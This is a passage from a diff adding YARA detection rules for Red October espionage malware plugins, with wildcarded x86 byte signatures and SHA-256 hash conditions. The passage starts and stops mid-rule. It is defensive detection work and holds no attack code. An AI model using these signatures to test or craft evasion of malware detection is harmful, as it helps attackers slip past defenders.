+		$block_21 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_22 = { 0F B6 ?? 8B ?? 33 ?? 83 ?? ?? 4? D3 ?? 8B ?? ?? C1 ?? ?? 8A ?? ?? 84 ?? 74 }
+		$block_23 = { 0F B6 ?? 33 ?? 8B ?? 83 ?? ?? 4? D3 ?? 8B ?? ?? C1 ?? ?? 8A ?? ?? 84 ?? 75 }
+		$block_24 = { 33 ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_25 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 03 ?? 83 ?? ?? 89 ?? ?? 3B ?? ?? 7D }
+		$block_26 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 8B ?? 2B ?? 80 3? ?? 89 ?? ?? 72 }
+		$block_27 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 2B ?? 89 ?? ?? B8 ?? ?? ?? ?? E9 }
+		$block_28 = { 0F B6 ?? ?? 0F B6 ?? ?? 8B ?? ?? C1 ?? ?? 0B ?? 03 ?? 89 ?? ?? 3B ?? 75 }
+		$block_29 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_30 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 8C }
+		$block_31 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_32 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_33 = { 6A ?? 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_34 = { 8B ?? ?? ?? ?? ?? 33 ?? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_35 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_36 = { 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 8A ?? ?? ?? ?? ?? 4? 88 ?? 3B ?? 75 }
+		$block_37 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? 5? 3B ?? ?? 0F 83 }
+		$block_38 = { 5? 8B ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? ?? ?? ?? 5? 5? 5? 03 ?? E9 }
+		$block_39 = { 8B ?? ?? 8D ?? ?? 8B ?? 99 2B ?? 33 ?? D1 ?? 4? 2B ?? 8D ?? ?? EB }
+		$block_40 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 80 7? ?? ?? 89 ?? ?? 0F 85 }
+		$block_41 = { 8B ?? ?? 0F B6 ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? 7C }
+		$block_42 = { 8A ?? 83 ?? ?? ?? 83 ?? ?? ?? 0F B6 ?? 89 ?? ?? 83 ?? ?? 0F 87 }
+		$block_43 = { 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 03 ?? 3B ?? ?? 7D }
+		$block_44 = { 6A ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_45 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_46 = { 8B ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_47 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 86 }
+		$block_48 = { 8B ?? ?? 8B ?? ?? 4? 89 ?? ?? 0F B6 ?? F6 ?? ?? ?? 89 ?? ?? 74 }
+		$block_49 = { 8B ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_50 = { 6A ?? 6A ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 3B ?? ?? 0F 82 }
+		$block_51 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_52 = { 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? 83 ?? ?? 74 }
+		$block_53 = { 0F B6 ?? 8A ?? ?? 30 ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 7C }
+		$block_54 = { 8B ?? 8B ?? ?? BA ?? ?? ?? ?? 2B ?? 8D ?? ?? 3B ?? 0F 8C }
+		$block_55 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_56 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_57 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_58 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_59 = { 8B ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C2 }
+		$block_60 = { 6A ?? 5? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_61 = { 8B ?? ?? 0F BE ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_62 = { 8B ?? 8B ?? 2B ?? ?? BE ?? ?? ?? ?? 2B ?? 3B ?? 0F 8C }
+		$block_63 = { 8B ?? ?? FF 4? ?? 89 ?? ?? 8B ?? ?? 3B ?? ?? 0F 8D }
+		$block_64 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 85 }
+		$block_65 = { 8B ?? ?? 4? 89 ?? ?? 8A ?? 0F B6 ?? 83 ?? ?? 0F 8F }
+		$block_66 = { 8B ?? ?? 33 ?? 89 ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_67 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+		$block_68 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? FF 0? 3B ?? ?? 0F 83 }
+		$block_69 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_70 = { 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 3B ?? ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "c870d08388e2786bf97667bf381d8a88c2fd9f94b64dc8c5ba4b715d2a2088ab" or
+		12 of them
+}
+
+rule RedOctoberPluginMetasploit {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F B6 ?? 8A ?? ?? 4? 88 ?? ?? 88 ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_1 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_2 = { 68 ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 0F BE ?? 83 ?? ?? 74 }
+		$block_4 = { 5? 8B ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 8E }
+		$block_5 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_6 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_7 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_8 = { 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 8B ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? 0F B7 ?? 5? 8B ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? EB }
+		$block_10 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 89 ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 }
+		$block_11 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 33 ?? 83 ?? ?? ?? 0F 94 ?? 88 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_13 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_15 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? 83 ?? ?? 74 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_17 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_18 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_19 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_21 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_22 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_23 = { 0F B6 ?? 8A ?? ?? 30 ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 7C }
+		$block_24 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_25 = { 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_26 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_27 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_28 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_30 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "82095ecc6099be283f9e211780d7100b732fc216383e59605804b6f0734db9ba" or
+		12 of them
+}
+
+rule RedOctoberPluginOfficeBDInstaller {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_1 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_2 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_3 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 8B ?? ?? 5? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_7 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_8 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_9 = { 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_10 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_11 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_12 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_14 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_15 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_16 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_17 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+
+	condition:
+		hash.sha256(0, filesize) == "19830a143595d6c6791da1abd4126cba59b6c71f2d535227ba36b7298d276250" or
+		12 of them
+}
+
+rule RedOctoberPluginPOP3Client {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? 5? 5? 5? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? A3 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? FF 0? ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 4? A3 ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? A1 ?? ?? ?? ?? BB ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? A1 ?? ?? ?? ?? BF ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 4? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 03 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? 